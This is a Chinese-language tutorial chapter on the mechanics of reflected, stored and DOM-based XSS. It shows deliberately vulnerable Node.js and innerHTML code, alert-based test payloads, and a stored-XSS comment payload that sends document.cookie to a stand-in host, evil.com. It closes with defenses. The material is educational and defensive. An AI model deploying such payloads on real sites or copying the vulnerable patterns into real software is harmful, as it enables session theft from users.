2、XSS攻击原理:反射型XSS、存储型XSS、DOM型XSS的深入剖析
聊到前端安全,XSS 绝对是绕不开的头号大敌。我做了这么多年前端工程化,见过太多因为 XSS 翻车的项目了。说白了,XSS 就是攻击者往你的页面里塞了一段恶意脚本,然后让它在你浏览器里跑起来。听起来简单?但它的变种和危害,远比你想的复杂。
今天咱们就把三种 XSS 掰开揉碎,好好讲讲。
2.1 反射型 XSS:最直接的“钓鱼”手法
反射型 XSS,也叫非持久型 XSS。它的特点就是“一次性”。攻击者把恶意脚本藏在 URL 参数里,诱导用户点击。服务器拿到参数后,直接拼到 HTML 里返回。浏览器一解析,脚本就执行了。
举个例子,一个搜索页面:
// 后端代码(Node.js 示例)
app.get('/search', (req, res) => {
const keyword = req.query.q;
res.send(`<h1>搜索结果:${keyword}</h1>`);
});
攻击者构造一个链接:
https://example.com/search?q=<script>alert('XSS')</script>
用户一点,弹窗就出来了。这还算温和的。要是换成窃取 cookie 的脚本呢?
我在项目中遇到过一个案例:某电商平台的搜索框,直接把关键词回显到页面上。攻击者构造了一个“优惠券领取”的钓鱼链接,诱导用户点击。结果用户的登录态被窃取,账户被盗刷。嗯,从那以后,我对所有用户输入都保持警惕。
2.2 存储型 XSS:最危险的“定时炸弹”
存储型 XSS 就狠多了。它把恶意脚本直接存到服务器数据库里。比如评论区、用户资料、文章内容……只要用户访问了包含恶意数据的页面,脚本就会自动执行。你想想看,一个论坛的评论区被注入了脚本,所有浏览该帖子的用户都会中招。这传播速度,堪比病毒。
来看一个典型的存储型 XSS 场景:
// 用户提交评论
POST /comment
{
"content": "<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>"
}
// 后端存储后,其他用户访问页面时渲染
<div class="comment">
<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>
</div>
为什么说它最危险?因为不需要用户点击任何链接。只要访问了那个页面,就自动触发。我见过一个社交平台,用户简介字段没做过滤,攻击者把恶意脚本写进简介里。结果所有查看他主页的人,cookie 都被偷了。那次事故影响了上万用户。
- 反射型:恶意代码在 URL 中,需要用户点击
- 存储型:恶意代码在服务器中,访问即触发
2.3 DOM 型 XSS:纯前端的“内鬼”
DOM 型 XSS 跟前两种不太一样。它完全发生在浏览器端,不经过服务器。攻击者利用前端 JavaScript 代码,把不可信数据写进 DOM 里。说白了,就是前端代码自己把自己卖了。
最常见的场景是 innerHTML、document.write、eval 这些 API 的滥用。比如:
// 从 URL 中获取参数
const name = new URLSearchParams(window.location.search).get('name');
// 直接插入 DOM
document.getElementById('welcome').innerHTML = '欢迎你,' + name;
攻击者构造链接:
https://example.com/?name=<img src=x onerror=alert('DOM XSS')>
页面加载后,onerror 事件触发,脚本执行。整个过程,服务器完全不知情。
innerHTML 拼接 HTML 字符串。那感觉就像在雷区里跳舞。后来我全部改成了 textContent 或者使用安全的模板引擎。记住:能用 textContent 就别用 innerHTML。
2.4 三种 XSS 的对比总结
为了方便记忆,我整理了一张对比表:
| 类型 | 存储位置 | 触发方式 | 危害范围 | 典型场景 |
|---|---|---|---|---|
| 反射型 XSS | URL 参数 | 用户点击恶意链接 | 单个用户 | 搜索框、错误页面 |
| 存储型 XSS | 服务器数据库 | 访问包含恶意数据的页面 | 所有访问用户 | 评论区、用户资料、文章 |
| DOM 型 XSS | 浏览器内存/DOM | 前端代码解析不可信数据 | 单个用户 | URL hash、postMessage、localStorage |
2.5 实战中的防御思路
了解了原理,咱们得知道怎么防。我个人习惯从三个层面入手:
- 输入过滤:对所有用户输入做编码或转义。比如
<转成<,>转成>。 - 输出编码:在数据渲染到页面时,根据上下文做编码。HTML 上下文、JavaScript 上下文、CSS 上下文,编码方式都不一样。
- 使用安全 API:尽量用
textContent代替innerHTML,用setAttribute代替直接拼接属性。
好了,三种 XSS 的原理就讲到这里。下一章咱们聊聊如何用 CSP(内容安全策略)给页面加一道“防火墙”。到时候我会分享一些我在实际项目中配置 CSP 踩过的坑,保证让你少走弯路。